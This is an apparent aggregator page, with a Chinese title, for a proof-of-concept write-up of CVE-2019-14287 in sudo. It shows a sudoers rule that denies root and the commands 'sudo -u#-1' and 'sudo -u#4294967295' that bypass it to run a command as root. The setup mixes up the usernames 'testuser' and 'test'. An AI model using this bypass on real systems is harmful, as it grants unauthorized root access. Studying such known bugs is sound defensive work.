CVE-2019-14287 PoC — Sudo 输入验证错误漏洞

Source

https://github.com/gurneesh/CVE-2019-14287-write-up

Associated Vulnerability

Title:Sudo 输入验证错误漏洞 (CVE-2019-14287)
Description:In Sudo before 1.8.28, an attacker with access to a Runas ALL sudoer account can bypass certain policy blacklists and session PAM modules, and can cause incorrect logging, by invoking sudo with a crafted user ID. For example, this allows bypass of !root configuration, and USER= logging, for a "sudo -u \#$((0xffffffff))" command.

Readme

# CVE-2019-14287-write-up #

4294967295
Sudo Bug Allows Restricted Users to Run Commands as Root

## DEMONSTRATION OF VULNERABILITY

### Add a new user:
sudo su - root
useradd -m -s /bin/bash testuser
passwd testuser  // add password to user
visudo

### Add a new entry
test    ALL=(ALL, !root) /usr/bin/id  // specifying that this user cannot use id command with root user

SAVE THE FILE AND EXIT FROM ROOT USER

### LOGON TO TEST USER
sudo su - test

### Write command
sudo id
YOU WILL BE PROMPTED WITH MESSAGE Sorry, user test is not allowed to execute '/usr/bin/id' as root

### NOW WRITE COMMAND
sudo -u#-1 id 
OR
sudo -u#4294967295 id

And there go, you have executed id command using root

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